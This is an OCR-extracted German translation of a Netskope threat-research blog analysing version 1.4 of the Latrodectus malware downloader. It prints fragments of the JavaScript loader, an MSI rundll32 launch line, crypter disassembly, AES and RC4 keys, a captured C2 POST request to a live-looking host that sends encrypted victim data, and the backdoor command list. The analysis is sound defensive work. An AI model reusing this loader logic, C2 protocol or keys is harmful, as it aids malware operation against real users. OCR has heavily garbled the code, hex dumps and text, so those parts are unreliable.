Die rasante Evolution von Latrodectus geht mit den
neuesten neuen Nutzlastfunktionen weiter
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Zusammenfassung

Latrodectus ist ein Downloader, der erstmals im Oktober 2023 von Walmart entdeckt wurde.
Die Malware wurde aufgrund ihrer Ahnlichkeiten mit der beriihmten lcedID-Malware sehr
berihmt, nicht nur im Code selbst, sondern auch in der Infrastruktur, wie zuvor von
Proofpoint und Team Cymru S2 berichtet wurde .

Die Malware wird in der Regel Uber E-Mail-Spam-Kampagnen verbreitet, die von zwei
bestimmten Bedrohungsakteuren durchgeflhrt werden: TA577 und TA578. Zu den
verschiedenen Funktionen, die es enthalt, gehort die Moglichkeit, zusatzliche Nutzlasten
herunterzuladen und auszufihren, Systeminformationen zu sammeln und an den C2 zu
senden, Prozesse zu beenden und vieles mehr. Im Juli 2024 wurde auch Latrodectus
beobachtet , wie er von einem BRC4-Dachs entbunden wurde.

Wahrend der Jagdaktivitaten in den Threat Labs haben wir eine neue Version der
Latrodectus-Payload entdeckt, Version 1.4. Die Malware-Updates umfassen einen anderen
Ansatz zur Entschleierung von Zeichenfolgen, einen neuen C2-Endpunkt, zwei neue
Backdoor-Befehle und vieles mehr.

In diesem Blog konzentrieren wir uns auf die Funktionen, die in dieser neuen Version
hinzugeflgt/aktualisiert wurden.

Analyse von JavaScript-Dateien

Die erste Nutzlast der Infektionskette ist eine JavaScript-Datei, die mit einem ahnlichen
Ansatz verschleiert wurde, der von anderen Latrodectus-Kampagnen verwendet wird. Die
Verschleierungstechnik wird verwendet, indem der Datei mehrere Kommentare hinzugefigt
werden, was die Analyse erschwert und die Dateigréf3e erheblich erhoht.
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https://www.netskope.com/de/blog/latrodectus-rapid-evolution-continues-with-latest-new-payload-features
https://www.netskope.com/de/blog/author/lfroes
https://medium.com/walmartglobaltech/icedid-gets-loaded-af073b7b6d39
https://malpedia.caad.fkie.fraunhofer.de/details/win.icedid
https://www.proofpoint.com/us/blog/threat-insight/latrodectus-spider-bytes-ice
https://any.run/cybersecurity-blog/brute-ratel-c4-analysis/

Der relevante Code befindet sich zwischen den Junk-Kommentaren und sobald er aus der
Datei entfernt wurde, kdnnen wir den Code sehen, der ausgeflhrt werden wirde.
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.parsescript = (fileContent)
lines = fileContent.split("\r\n

@; i < lines.length; i++
= lines[i];
if (line.indexOf("////,
.codeToExec + "\n";

.executeCode =
if .codeToExecute
Py T
try {
executeFunction = ion( .codeToExecute);
executeFunction();

catch (execErr}) -
tch ( = {

.processscript = () {
fileContent = .loadScript();

it (fileContent
.parsescript{fileContent);
.executeCode();

processor = SscriptProcessor();

processor.processscript();

Die Malware sucht nach Zeilen, die mit dem String "////" beginnen, legt sie in einen Puffer
und fuhrt sie als JS-Funktion aus. Die ausgefuhrte Funktion ladt dann eine MSI-Datei von
einem Remote-Server herunter und fuhrt sie aus/installiert sie.
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Analyse von MSI-Dateien

Nach der Ausfihrung/Installation verwendet die MSI-Datei das rundll32.exe Windows-Tool,
um eine DLL mit dem Namen "nvidia.dll" zu laden und ruft eine Funktion mit dem Namen
"AnselEnableCheck" auf, die von dieser DLL exportiert wird. Die bosartige DLL wird in einer
CAB-Datei mit dem Namen "disk1" gespeichert, die in der MSI-Datei selbst vorhanden ist:

Extract Files Table View Summary Streams

Teble  CustomAction

Action (s72) {TE‘J" Source (572)
Al_DETECT_MODERNWIN 1 aicustact.dll
Al_|nit_PatchWelcomeDlg |1 aicustact.dll
Al_Init_WelcomeDig 1 aicustact.dil
Al_SET_ADMIN 51 Al_ADMIN
Al_InstallModeCheck 1 aicustact.dll
Al_DOWNGRADE 19
Al_DpiContentScale 1 aicustact.dil
Al_EnableDebuglog 321 aicustact.dll
Al_PREPARE_UPGRADE 65 aicustact.dll
Al_ResohveKnownFolders 1 aicustact.dil
Al_RESTORE_LOCATION 65 aicustact.dil
Al_STORE_LOCATION 51 ARPINSTALLLOCATION
SET_APPDIR 307 APPDIR

2 LaunchFile
SET_SHORTCUTDIR 307 SHORTCUTDIR
SET_TARGETDIR_TO_APPDIR |51 TARGETDIR

Al_CORRECT_INSTALL 51 Al_INSTALL

Target (50)

DetectModermnWindows

DoEvents

DoEvents

1

UpdatelnstallMode

4010

DpiContentScale

EnableDebuglog

PrepareUpgrade

Al_ResolveKnownFolders

RestoreLocation

[APPDIR]
[AppDataFolder][Manufacturer]\[ProductName]
/DontWait C:/Windows/System32/rundll32.exe [AppDataFolder]nvidia.dll, AnselEnableCheck

[PregramMenuFolder][ProductName]
[APPDIR]
{1

ExtendedType (14)

-2147483648
-2147433648
-2147483648
2147483648
-2147483648
-2147433648
-2147483648
-2147433648
-2147483848
-2147433648
-2147483648
-2147483643
-2147483648
-2147483648
-2147483648
-2147433648
-2147483648
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File name

= | |Ci\Usersluser \Desktoprevdisk 1invidia. dll

File type File size Base address Entry point V| Advanced
PES4 = 701,00 KB 0000000 180000000 0000000 180023098 =
Demangle
File info Memary map Disasm Hex Strings Signatures VirusTotal
MIME Visualization Search Hash Entropy Extractor YARA
PE Export Import Resources NET TLS CQverlay
Sections Time date stamp Size of image Resources
D008 = 2024-07-30 10:16:12 000ba 000 Manifest Version
Scan Endianness Maode Architecture Type
Automatic = LE 64-hit AMDE4 DLL
* PEG4
Operation systern: Windows(Vista)[AMDE4, 64-bit, DLL] 5 7
Linker: Microsoft Linker(14.28.30038) 5 ?
Compiler: Microsoft Visual C/C++(19.36.33136)(C] 5 ?
Language: C/C++ 5 i
Tool: Visual Studio(2019 version 16.9-16.10) 5 7 Shortouts

Kryptor-Analyse

Als Versuch, die Hauptnutzlast zu verschleiern, die "nvidia.dll" file verwendet einen Crypter
namens Dave. Diesen Crypter gibt es schon seit langer Zeit und wurde in der Vergangenheit
von anderer Malware wie Emotet, BlackBasta und friheren Versionen von Latrodectus
verwendet.

Der Crypter speichert die Payload, die ausgefuhrt werden soll, entweder in einer Ressource
oder in einem Abschnitt. In der analysierten Probe wird die Nutzlast in einem Abschnitt mit
dem Namen "V+N" gespeichert.

Die Schritte zum Entschleiern, Laden und Ausflhren der endgultigen Nutzlast sind recht
einfach. Die Malware verschiebt einen Schlissel in den Stack und 16st die Windows-API-
Funktionen VirtualAlloc, LoadLibrary und GetProcAddress auf.
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https://securityintelligence.com/x-force/trickbot-conti-crypters-where-are-they-now/

0000000180 58
000000018002318D
0000000180023192
0000000180023193
0000000180023194
0000000180023195
0000000180023196
0000000180023198
0000000180023194
000000018002319C
000000018002319E
00000001800231A3
0000000180023 1A5
0000000180023 1AD
00000001800231B5
00000001800231ED
00000001800231C5
00000001800231CD
00000001800231D5
00000001800231D9
00000001800231DE
00000001800231E6
0000000180023 1EE
00000001800231F6
00000001800231FE
0000000180023 205
0000000180023 204
0000000180023 20F
0000000180023212
0000000180023216
0000000180023218
000000018002321A
000000018002321D
0000000180023220
0000000180023222
0000000180023225
0000000180023 227
0000000180023228
0000000180023231
000000018002323A
0000000180023 23E
0000000180023242
0000000180023245

Anschliel’end wird der Speicher mithilfe der VirtualAlloc-Funktion zugewiesen und eine Multi-
Byte-XOR-Operation fur die Daten im genannten Abschnitt unter Verwendung des zuvor
festgelegten SchlUssels ausgefuhrt, und das Ergebnis der Operation ist die endgultige
Nutzlast. Die nachsten Schritte umfassen das Ausrichten der Nutzlast im Speicher und den
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Aufruf ihrer Hauptfunktion.

mov gqword ptr ss:[[rsp+l10],rdx
mav gword ptr ssifirsp+8Q,rcx
push rbp

push rbx

push rsi

push rdi

push riz

push riz

push ri4

push ris

lea rbp,gword ptr ss:[Qrsp-1F]
sub rsp,ES

xor riid,rizd

mav dword ptr ss:[rsp+20] J68TAGEGES
mov dword ptr ss:[rsp+24] §79762157
mov dword ptr ss:[rsp+258] J66634025
mov dword ptr ss:[rsp+2C] 70414765
mav dword ptr ssifirspt+358],TeU0TE
Tea esi,qword ptr ds:[ri13+1]

mov byte ptr ss:[rsp+320],ri13b
mov dword ptr ss:[rsp+3C],sE0072
mav dword ptr ss:|irsp+40),6C0065
mav dword ptr ss:firsp+44),320033
mov dword ptr ss:frsp+48],64002E
mov dword ptr ss:[rbp-7DQ,6C006C
mav word ptr ss:frbp-73],ri3w
mav edx, 3D090C

mov eax,rl3d

Tlea rcx,gword ptr ss:[rbp-52]
mav byte ptr ds:[rcx],al

add eax,esi

add rcx,rsi

cmp eax, 64

jb nwidia.180023216

sub rdx,rsi

jne mvidia.180023220F

cmp byte ptr ss:[rbp-2z9],30

jne nvidia.l1l800232F2

mov rax,qword ptr [l [s0]

mov rox,qword ptr ds:[rax+18]
mov rbx,gword ptr ds: [rcx+10]
mav rdx,rbx

mav rox,qword ptr ds: [rdx+60]
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Q000000180023 3ES
000000018 00233ET
Oo000001800233EC
0000000180023 3EF
00000001800233F6
Q000000180022 3FD
QoOO0001E0023407
QOOO0001LE0023 404
0000000180023 400
0000000180023410
0000000180022413
QoOO000180023416
0o00000180023419
O000000180023423
0000000180023426
0000000150023429
000000018002242D
0000000180023 4321
O000000180023434
O000000180023437
0000000180023438
Q0000001800232 43F
QoOO0001E0023442
Q000000180023 445
O000000180023448
0000000180023 44A
Q000000180023 44E
0000000180023453
Q00000018 0023456
O000000180023458
O00000018002345F
000o0000180023461
Q0000001800232 463
Qo0O000180023466
Q000000180023 469
0000000180023 46F

<

Q200

48:0FBE45 AT
48:63CA

4C:69C3 7CODOOOD
48: 69C0 FCODOOOD

49: BB msmnsnulmnmn:v

4C:2BDE
4C:03C9
4C:2BD3
4D : 03CE
4D : 2BDE
49: 63CA

add edx,eax
movsx rax,byte ptr ss:[[rbp-59]
movsxd rox,edx

imul r9,rax,D7C
3 1

-1 = o [nted

rii,nvidia.1800A8000 |
TLL,T dx

ro,rcx

ril,rcx

add r9,ri4

sub ril,ri4

movsxd rcx,rlod

= LR
add
sub

48: B8 F1FOFOFOFOFOFOH mov rax,FOFOFOFOFOFOFOFL

44:03D6
48:F7EL1
48:C1EA 04
48:6BC2 11
48:2BCE
48:2BCB
BA440C 20
431320408
41:8801
4C:03CE
45:3BD4

72 CC
49:6346 3C
44:0FBE4D AF
45 BBCT
42:BB5430 50
41:C1E1 03
33Co9

FFD7

48: 8BDE
48:85C0

OF84 eC020000
49:637E 3C

add riod,esi

mul rcx

shr rdx,4

imul rax,rdx,11

sub rox,rax

sub rox,rbx
byte

|
r11+r~95i
=T :

xor al

add r9,rsi

cmp rilod,rizd

jb nwidia. 180023416

movsxd rax,dword ptr ds:[rl4+3C]
movsx rod,byvte ptr ss:[irbp-51]
mov réd,risd

mov edx,dword ptr ds:[rax+rl4+s0]
shl rad,3

XOF eCX,ecx

call rdi

mov rbx,rax

test rax,rax

je nwidia.1l800236DE

movsxd rdi,dword ptr ds:[ril4+3cC]

ril=z46 L'BE"

nvidia. 00000001800A8000

.text:00000001800233FD nvidia.dl11:$233FD #227FD

4 Dump 1

4% Dump 2

% Dump 3

Ly Dump 4

4% Dump 5

3 watch 1

[+=] Locals °LS Struct

Oo10
0000000 1LB00AB0Z0
0O000001LB00AB020
CO000001800A8040
00000001800A8050
Qo0000001LE00AB0ED
QO000001LE00AB0T O
00000001 800AB0E0
CO000001800A8030
00000001800A80A0
00000001800A80B0D
QO000001LE00AB0CD
00000001 800AB0D 0
CoO000001800AB0ED
CoO000001800AB0FD
00000001800A8100
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- LU L OAFU E D A . LI T auu | :|'rl >1
& (| 00000001800 45:3BD4 cmp riod,ri2d
® (| 000000018 ~ 72 CC jb nwidia.180023416
Ll 0000000 8 A 49:6346 3C mavsxd rax,dwerd ptr ds:[ri4+3C]
& (00000001300 2344E 44:0FBE4D AF movsx rod,byte ptr ss:firbp-51]
® | 0000000180023453 451 BBCT mov ra8d,risd
& (0000000180023456 42:8B5430 50 mov edx,dword ptr ds:[rax+rl4+50]
® | 000000018002345B 41:C1E1 03 sh1l rad,3
® (| 0000000180023 45F 33C9 Xor ecx,ecx
@ [ 0000000180023461 FFD7 ealt rdi
® | 0000000180023463 458: BEDS mov rbx,rax
@ (| 0000000180023 466 48: B5C0O test rax,rax
r----# | 0000000180023469 ~ 0OF84 &C020000 je nwidia.1l300236DE
l ® (00000001 8002346F 49:637E 3C movsxd rdi,dword ptr ds:[ri4+3C]
| ® (| 000000018002347 3 4C: BEBED mov rlz,rax
! @ [ 0000000180023476 45 BBCS mov r8d,rizd
i ® | 000000018002347 9 49: 03FE add rdi,ris
i & (| 0000000180023 47C 4C:2B67 30 sub riz2,qgword ptr ds:[rdi+30]
1 @ | 0000000180023480 44: BB4F 54 mov rad,dword ptr ds:[rdi+54]
l ® | 0000000180023484 44:0FB757 14 movzx rlod,word ptr ds:[rdi+14]
! & ((00000001800234589 4C18965 77 mov qword ptr ss:firbp+770,r12
! & (000000018002348D 48:5947 30 mov qword ptr ds:[rdi+30],rax
i @ | 0000000180023491 40 : B5C9 test r9,r9
¢ L4
rax=11900

dword ptr ds:[ri4+3C]=[000001AF1255003C]=D8 8"

Ltext:000000018002344A mvidia.dl1: 523444 #2284A

B Dump 1 U4y Dump 2 Uy Dump 3 iy Dump 4 U4y Dump 5 &8 watch 1 [*=] Locals °12 Struct

Address Hex ASCII
000001AF12550000 | 400 54 90 00|03 OO0 OO0 OO|O04 OO OO OO|FF FF OO OO|MZ...c.0uun V. .
000001AF12550010| B8 00 OO0 QO (00 OO0 OO0 00|40 OO0 OO0 00|00 00 OO0 00| [ ueeeeas B..oennn
000001AF12550020| 00 00 OO0 OQO|00 OO0 OO OO|O00 OO OO0 Q00|00 OO0 OO 00| c.seeessnannsnns
000001AF12550030| 00 00 OO0 QO(00 OO OO0 00|00 OO0 OD OO|DB 00 OO0 00| aueeeesssnns 8...
000001AF12550040 | 0E 1F BA OE |00 B4 02 CD |21 BS 01 4C|CD 21 54 &8 ..“..f.I!_.LI!Th
OOC00O01AFL2550050( 69 732 20 70|72 6F &7 72|61 6D 20 63|61 &E GE &F|1is program canno
0O0001AFL12550060( 74 20 62 65|20 72 75 GE|20 6% GE 20|44 4F 53 20|t be run in DOS
000001AFL2550070( 60 6F &4 &5 |(2E OD OD OA|24 00 00 00|00 OO OO OO0 mode....%5.......
00000D1AFL2550080| 94 0B CC EE|DE GA AZ BD|DE G6A AZ BD |DE 6A AZ BD|..Iipjekbjexbjex
000001AF12550090( 03 95 69 BD (DB 64 AZ BD |DE 6A A3 BD DB 6A AZ BD|..in0jekpjfsljee
QOCO00D1AFL25500A0( 69 24 A6 BC (DD &4 A2 BD |62 34 A2 BC|DF 64 A2 BD |14 4Djekid4euljek
OOCOO01AFL25500B0 | 69 24 AD BC|DF &4 AZ BD|52 6% 63 63 |DE &4 A2 BD |14 HBEJj¢MRichbjek
000001AF125500C0 | OO0 OO0 OO0 QOO0 OO0 OO0 00|00 OO0 OO0 00|00 OO0 OO0 OO0
000001AF12550000 | 00 OO0 OO QOO0 OO0 OO0 00|50 45 00 00|64 86 05 OO0
000001AF125500EQ0| DA BA B9 66|00 OO OO0 00|00 OO OO OO|FO OO 22 20
000001AF125500F0 | OB 02 OE OO |00 E4 00 00|00 42 00 00|00 OO0 OO0 00| ....
000001AF12550100| 0C 45 00 OO(00 10 00 OO|00 OO OO S0O/01 00 OO0 00 .

Da der Crypter zuerst die urspringliche Nutzlast in den zugewiesenen Speicher kopiert,
bevor die anderen Schritte ausgefuhrt werden, kann man einfach den Inhalt des ersten
zugewiesenen Speichers ausgeben und die endgultige Nutzlast abrufen. Ein Skript zum
statischen Entpacken/Entschleiern von Latrodectus-Payloads mit dem Dave-Crypter finden
Sie hier.

Die endgultige Nutzlast ist eine DLL, und ihre DIIMain-Funktion wird vom
VerschlUsselungscode aufgerufen. Der nachste Schritt ist die Ausfuhrung der exportierten
Funktion "AnselEnableCheck", die fur die Ausfuhrung der finalen Payload verantwortlich ist.

Wenn wir uns die endgultige Nutzlast ansehen, stellen wir fest, dass sie mehrere exportierte
Funktionen hat, obwohl es keine Rolle spielt, welche aufgerufen wird, da alle die gleiche RVA
haben.
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https://github.com/leandrofroes/malware-research/blob/main/Latrodectus/latrodectus_static_unpacker.py

~ FC
~ EB

S5F
S5E
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CC
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C L
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41:
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48:
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48:
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48:
48:

pa} = PR u )

B2

o4

BDO429
FFDO
BB5CZ24 48
BBE6CZ4 50

B3aC4 20
5E

895424 10
B94C24 08

LI 1 LUy 3 0
i1 nvidia.180023119

jmp nvidia.l8002316D

lea r8,qword ptr ds:[r9+rbp]

call r&

mov rbx,gword ptr ss:[rsp+45]
mov rbp,gword ptr ss:[rsp+50]
KOr eax,eax

add rsp,20

pop ri4

pop rdi

pap rsi

ret

int3

int3

int3

mav gwerd ptr ss:Brsp+1of,rdx
mov gword ptr ss:frsp+af,.rox

r 8=000001AF1Z5
Name Offset Type Value -
Characteristics 0000 DWORD 00000000
TimeDateStamp 0004 DWORD 66b%bada 2024-08-12 00:33:46
MajorVersion 0008 WORD 0000
MinorVersion 000a WORD 0000
Mame 000c DWORD 00010710 Hex UpdaterTag.dll
Base 0010 DWORD 00000001
MumberOfFunctions 0014 DWORD 00000004 -
Show valid Save
Ordinal ~ RVA Name
0001 0001071f extra
0002 00010725 follower
0003 0001072 run

Latrodectus-DLL-Analyse

Da die allgemeinen Merkmale der Hauptnutzlast bereits in der Vergangenheit von anderen
Forschern beschrieben wurden, konzentrieren sich die folgenden Abschnitte auf die
Updates, die von der neuen Latrodectus-Version verwendet werden.

Zeichenfolgenverschleierung

Im Gegensatz zu den vorherigen Versionen, die eine XOR-Operation zum Entschleiern der
Zeichenfolgen verwendeten, verwendet die aktualisierte Version AES256 im CTR-Modus.
Der AES-Schlussel ist in der Entschleierungsfunktion selbst fest codiert, und der IV andert
sich fur jede Zeichenfolge, die entschllsselt werden soll. Der Schlissel, der in den
analysierten Proben verwendet wird, lautet
"d623b8ef6226cec3e24c55127de873e7839c776bb1a93b57b25fdbeal0db68ea2".
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https://www.elastic.co/security-labs/spring-cleaning-with-latrodectus

Die Entschleierungsfunktion erhalt zwei Parameter. Der erste ist ein Datenblock und der
zweite ein Ausgabepuffer. Der Datenblock wird zum Speichern von Informationen verwendet,
die zum Entschlisseln der Zeichenfolge verwendet werden, und hat das folgende Format:

e Lange der Zeichenfolge: 2 Bytes
e |V: 16 Byte
e Verschlusselte Zeichenfolge: Im ersten Feld angegebene Grolke

Zu beachten ist, dass nach dem verschlisselten Zeichenfolgeninhalt manchmal zusatzliche
Bytes stehen. Die folgende Abbildung ist ein Beispiel fur diesen Datenblock:

Kampagnen-ID

In der aktuellen Malware-Version verwendet die Funktion zur Generierung von Kampagnen-
IDs weiterhin den gleichen Ansatz, bei dem eine Eingabezeichenfolge mit dem FNV-
Algorithmus gehasht wird. Es wurde jedoch ein neuer Eingabestring "Wiski" verwendet, was
dazu fuhrte, dass der Hash als Kampagnen-ID 0x24e7ce9e.

f8, &dec_str) == @)

put_str)));

;i o= &i[1])

2 t)*(uint8 t*)i)) * @

C2-Kommunikation

Fur die erste Kommunikation mit dem C2-Server sammelt Latrodectus viele Informationen
vom infizierten System wie den Benutzernamen, die Betriebssystemversion und die MAC-
Adresse. Die Informationen werden nach einem bestimmten Muster formatiert, mit dem RC4-
Algorithmus verschlusselt, mit base64 codiert und an den C2 gesendet.

10/15


https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function

Die RC4-Schlussel, die in den analysierten Proben gefunden wurden, waren
"2sDbsEUXvhgLOO4Irt8 AF6el3jJ0M1MowXyao00Nn6ZUjtjXwb" und
"kcyBA7IbADOhw5ztcv09vmF8GYmR38eu70GdfD7pyRelTPKH1G".

Bei der Datenformatierung kdnnen wir die Versionsnummer 1.4 markieren, die gesetzt wird.

Die Informationen werden im HTTP-Body Uber eine HTTP POST-Anfrage gesendet. Der
Endpunkt, der in den neuen Varianten verwendet wird, ist "/test" anstelle von "/live", wie in
friheren Versionen beobachtet. Obwohl dies ein sehr schwacher Indikator ist, kdnnte die
Verwendung dieses speziellen Endpunkts darauf hindeuten, dass es sich um eine
Testversion der Malware handelt.

POST /test/ HTTP/1.1

Accept: */*

Content-Type: application/x-www-form-urlencoded

User-Agent: Mozilla/4.@ (compatible; MSIE 7.@; Windows NT 5.1; Tob 1.1)
Host: minrezviko.com

Content-Length: 256

Cache-Centrel: no-cache

85cROKxCIMPASOPQxGybwIwhBy4 1t J0Khs43cl+BALghobHKHBERXZAZE §FENGEKISKKVGrx2STPHaknE 2gRayngL 6L TVcegeQKIPX5qV14hoy9dNEL BBnxKRSENDT i0dgQY154SDbi skKiSX jBBSTD, wHy tHEkRBuAeuh3]/ sSTBILKVR
Rj r8HDa 9 deh‘ﬁBsDRMuh'“Rd'lleP h ] sXbKOWT 3XZexVG1fuP TFbWQkeF 1hXNXuXc B 5SR960|I PnBlQ=

Befehle

In Version 1.4 hat Latrodectus zwei neue Befehle in seine Payload eingefuhrt: Befehls-ID 22
und 25.
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dword

dword

Befehl 0x16

Bei diesem Befehl I1adt die Malware einen Shellcode vom angegebenen Server herunter und
fuhrt ihn Uber einen neuen Thread aus.

return r

Der Unterschied zwischen diesem Befehl und Befehl 14 besteht darin, dass eine Funktion,
die die Base64-Codierung ausfuhrt, als Parameter an den Shellcode selbst Gbergeben wird.
Die Adresse der base64-Funktion wird in einer zugeordneten Dateiansicht mit dem Namen
"12345" gespeichert.
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Befehl 0x19

In diesem Befehl erhalt die Malware einen Dateinamen und einen Remote-Speicherort, von
dem die Datei heruntergeladen werden soll. Der Dateiname wird dann an %AppData%
angehangt, die Datei wird heruntergeladen und ihr Inhalt in den angegebenen Pfad
geschrieben.

Unter Berucksichtigung dieser Erganzungen finden Sie im Folgenden eine Tabelle der
aktualisierten Befehle, die von der Malware unterstitzt werden:

Befehls-
ID Description
2 Sammeln einer Liste von Desktop-Dateinamen
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Befehls-
ID

Description

3 Sammeln von Informationen Uber die laufenden Prozesse

4 Sammeln von Systeminformationen

12 Laden Sie eine regulare ausfuhrbare Datei herunter und fuhren Sie sie aus

13 Herunterladen und Ausfuhren einer DLL Uber rundll32

14 Laden Sie einen Shellcode herunter und fuhren Sie ihn aus

15 Selbstaktualisierung

17 Beenden Sie sich selbst

18 Laden Sie die IcedID-Nutzlast herunter und fuhren Sie sie aus

19 Erhdhen Sie die Zeitlberschreitung im Ruhezustand

20 Anforderungszahler zuricksetzen

21 Laden Sie das Stealer-Modul herunter und fuhren Sie es aus

22 Laden Sie einen Shellcode herunter und fuhren Sie ihn aus, indem Sie die
base64-Codierungsfunktion als Parameter Ubergeben

25 Laden Sie eine Datei in das Verzeichnis %AppData% herunter

Netskope-Erkennung

¢ Netskope Threat Protection
o Gen:Variant.Ulise.493872
o Trojaner.Generic.36724146
» Netskope Advanced Threat Protection bietet proaktiven Schutz gegen diese
Bedrohung.

Win64.Trojan.ShellCoExec

Schlussfolgerungen

Latrodectus hat sich ziemlich schnell weiterentwickelt und seiner Nutzlast neue Funktionen
hinzugefligt. Das Verstandnis der Aktualisierungen, die auf die Nutzlast angewendet werden,
ermdglicht es Defendern, automatisierte Pipelines ordnungsgemal einzurichten und die
Informationen fur die weitere Suche nach neuen Varianten zu verwenden. Netskope Threat
Labs wird weiterhin verfolgen, wie sich der Latrodectus entwickelt und wie viel TTP er hat.

I0OCs

14/15



Alle I0Cs und Skripte, die sich auf diese Malware beziehen, finden Sie in unserem GitHub-
Repository.
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https://github.com/netskopeoss/NetskopeThreatLabsIOCs/tree/main/Malware/Latrodectus

